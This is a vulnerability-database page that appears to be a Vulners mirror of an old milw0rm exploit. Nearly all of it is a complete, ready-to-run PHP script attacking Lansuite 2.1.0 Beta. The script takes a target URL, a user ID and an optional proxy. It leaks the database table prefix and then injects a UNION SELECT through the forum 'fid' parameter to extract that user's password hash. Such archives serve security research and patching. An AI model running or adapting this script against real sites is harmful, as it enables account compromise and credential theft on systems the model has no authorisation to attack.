Lucene search
K

Lansuite <= 2.1.0 Beta (fid) Remote SQL Injection Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 18 Views

Lansuite remote SQL injection exploit for version 2.1.0 Bet

Code

                                                &#60;?
error_reporting(E_ERROR);

function xss_init()
{
    if (!extension_loaded(&#39;php_curl&#39;))
    {
       if (!dl(&#39;curl.so&#39;) and !dl(&#39;php_curl.so&#39;) and !dl(&#39;php_curl.dll&#39;))
       die (&#34;oo error - cannot load curl extension!&#34;);
    }
}

function xss_header()
{
    echo &#34;\noooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo&#34;;
    echo &#34;                                  oo    ooooooo     ooooooo\n&#34;;
    echo &#34;                    oooo   oooo o888  o88     888 o888   888o\n&#34;;
    echo &#34;                      888o888    888        o888   888888888\n&#34;;
    echo &#34;                      o88888o    888     o888   o 888o   o888\n&#34;;
    echo &#34;                    o88o   o88o o888o o8888oooo88   88ooo88\n&#34;;
    echo &#34;oooooooooooooooooooooo lansuite 2.10 remote sql injection oooooooooooooooooooooo\n&#34;;
    echo &#34;oo usage          $ php lansuite-210-exploit.php [url] [user id]\n&#34;;
    echo &#34;oo proxy support  $ php lansuite-210-exploit.php [url] [user id] [proxy]:[port]\n&#34;;
    echo &#34;oo example        $ php lansuite-210-exploit.php http://localhost 1\n&#34;;
    echo &#34;oo print the password of the user\n\n&#34;;
}

function xss_bottom()
{
    echo &#34;\noo developed for the [myg0t] online gaming group\n&#34;;
    echo &#34;oo discover : x128 - alexander wilhelm - 24/02/2006\n&#34;;
    echo &#34;oo contact  : exploit &#60;at&#62; x128.net                    oo website : www.x128.net&#34;;
}

function xss_exploit()
{
    $xss_target = $_SERVER[&#39;argv&#39;][1] . &#34;/index.php&#34;;
    $xss_http_prefix_get = &#34;?mod=board&action=forum&fid=x128&#34;;

    $xss_connection = curl_init();

    if ($_SERVER[&#39;argv&#39;][3])
    {
        curl_setopt($xss_connection, CURLOPT_TIMEOUT, 8);
        curl_setopt($xss_connection, CURLOPT_PROXY, $_SERVER[&#39;argv&#39;][3]);
    }

    curl_setopt ($xss_connection, CURLOPT_URL, $xss_target . $xss_http_prefix_get);
    curl_setopt ($xss_connection, CURLOPT_HEADER, 0);
    curl_setopt ($xss_connection, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt ($xss_connection, CURLOPT_USERAGENT, &#39;x128&#39;);

    $xss_prefix_source = curl_exec($xss_connection) or die(&#34;oo error - cannot connect!\n&#34;);
    
    $xss_prefix = substr(strstr($xss_prefix_source, &#34;need_type FROM &#34;), 15, strpos(strstr($xss_prefix_source, &#34;need_type FROM &#34;), &#34;board_forums&#34;) - 15);
    
    $xss_http_get = &#34;?mod=board&action=forum&fid=&#34; . urlencode(&#34;0 UNION SELECT 1, 1, 1, 1, 1, 1, password, 1, 1, 1, 1 FROM &#34;. $xss_prefix .&#34;user WHERE userid = &#34;. $_SERVER[&#39;argv&#39;][2] .&#34;/*&#34;);

    curl_setopt ($xss_connection, CURLOPT_URL, $xss_target . $xss_http_get);

    $xss_source = curl_exec($xss_connection) or die(&#34;oo error - cannot connect!\n&#34;);

    $xss_passwd = substr(strstr($xss_source, &#34;b.userid WHERE pid = &#34;), 21, 32);
    
    if ($xss_passwd == &#34;&#34;) { $xss_passwd = substr(strstr($xss_source, &#34;Unknown column &#39;&#34;), 16, 32); }

    if ($_SERVER[&#39;argv&#39;][2] && $xss_passwd)
    {
        echo &#34;oo user           &#34; . $_SERVER[&#39;argv&#39;][2] . &#34;\n&#34;;
        echo &#34;oo password       &#34; . $xss_passwd . &#34;\n\n&#34;;
        echo &#34;oo dafaced ...\n&#34;;
    }
    curl_close ($xss_connection); 
}

xss_init();
xss_header();
xss_exploit();
xss_bottom();
?&#62;

# milw0rm.com [2006-02-24]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
18